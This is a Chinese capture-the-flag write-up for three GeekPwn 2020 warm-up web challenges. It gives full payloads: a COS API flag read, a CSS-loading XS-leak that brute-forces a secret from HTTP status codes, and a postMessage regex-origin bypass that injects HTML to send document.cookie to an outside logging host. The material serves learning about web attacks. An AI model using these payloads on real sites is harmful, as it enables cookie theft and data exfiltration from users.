geekpwn 2020热身赛 cosplay 直接用cos的api读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 cos.getBucket({ Bucket : Bucket, Region : Region, }, function (err, data ) { console .log(err || data.Contents); }); cos.getObject({ Bucket : Bucket, Region : Region, Key : 'f1L9@/flag.txt' , }, function (err, data ) { console .log(err || data.Body); });
noXss2020 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from flask import Flask, request, jsonify, Responsefrom os import getenvapp = Flask(__name__) DATASET = { 114 : '514' , 810 : '8931919' , 2017 : 'https://blog.cal1.cn/post/RCTF%202017%20rCDN%20%26%20noxss%20writeup' , 2019 : 'https://hackmd.io/IlzCicHXSN-MXl2JLCYr0g?view' , 2020 : 'flag{2333333333}' } @app.before_request def check_host (): pass @app.route("/" ) def index (): return app.send_static_file('index.html' ) @app.route("/search" ) def search_handler (): keyword = request.args.get('keyword' ) if keyword is None : return jsonify(DATASET) else : ret = {} for i in DATASET: if keyword in DATASET[i]: ret[i] = DATASET[i] return jsonify(ret), 200 if len (ret) else 404 @app.after_request def add_security_headers (resp ): resp.headers['X-Frame-Options' ] = 'sameorigin' resp.headers['Content-Security-Policy' ] = 'default-src \'self\'; frame-src https://www.youtube.com' resp.headers['X-Content-Type-Options' ] = 'nosniff' resp.headers['Referrer-Policy' ] = 'same-origin' return resp if __name__ == '__main__' : app.run(host='0.0.0.0' , port=3000 , )
我们注意到search是通过in来判断是否存在,并返回404或200
虽然http://noxss2020.cal1.cn:3000/
有cors,但是我们并不需要他返回的内容,我们只需要状态码,这样就简单多了。我们将页面当成css来加载,通过是否加载成功来判断状态码
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <html > <body > <script > var guess="flag" ;var ok=true ;function check (text ) { var linkEl = document .head.querySelector('link[href*="' +text+'"' ); var cssLoaded = Boolean (linkEl.sheet); linkEl.addEventListener('load' , function ( ) { guess=unescape (text); console .log(guess) ok=true ; if (guess.endsWith("}" )){ location="http://ccreater.top:60010/log.php?log=" +guess; }; var s = guess.substr(0 ,guess.length-1 ); while (tmp=document .head.querySelector('link[href*="' +s+'"' )){ tmp.remove(); } fuzz() }); } function make (text ) { head = document .getElementsByTagName('head' )[0 ]; var url = "http://127.0.0.1:3000/search?keyword=" +escape (text), link = document .createElement('link' ); link.rel = "stylesheet" ; link.href = url; head.appendChild(link); check(escape (text)); } async function fuzz ( ) { for (i of "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}" ){ if (make(guess+i)){ break ; } } return true } function exploit ( ) { fuzz() } fuzz() </script > </body > </html >
umsg 阅读代码发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function(e, t, r) { "use strict"; r.r(t); r(91); var n = { mounted: function() { window.addEventListener("message", (function(e) { if (e.origin.match("http://umsg.iffi.top")) switch (e.data.action) { case "append": return void (document.getElementsByTagName("main")[0].innerHTML += e.data.payload); case "debug": return void console.log(e.data.payload); case "ping": return void e.source.postMessage("pong", "*") } } ), !1), postMessage({ action: "ping" }) } }
那么我们可以在页面中嵌入iframe来postMessage,从而插入恶意内容,唯一的障碍是:e.origin.match("http://umsg.iffi.top")
因为match是一个正则匹配函数,所以构造http://umsg_iffi_top.evildomain
来绕过
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <html> <body> <iframe src="http://umsg.iffi.top:3000/" height="100%" width="100%" frameborder="0" scrolling="auto"> </iframe> <script> setTimeout(()=>{ document.body.children[0].contentWindow.postMessage({action:"append",payload:"<img src=1 onerror='location=(`http://ccreater.top:60010/log.php?log=`+document.cookie)'>"},"http://umsg.iffi.top:3000/") },5000); </script> </body> </html>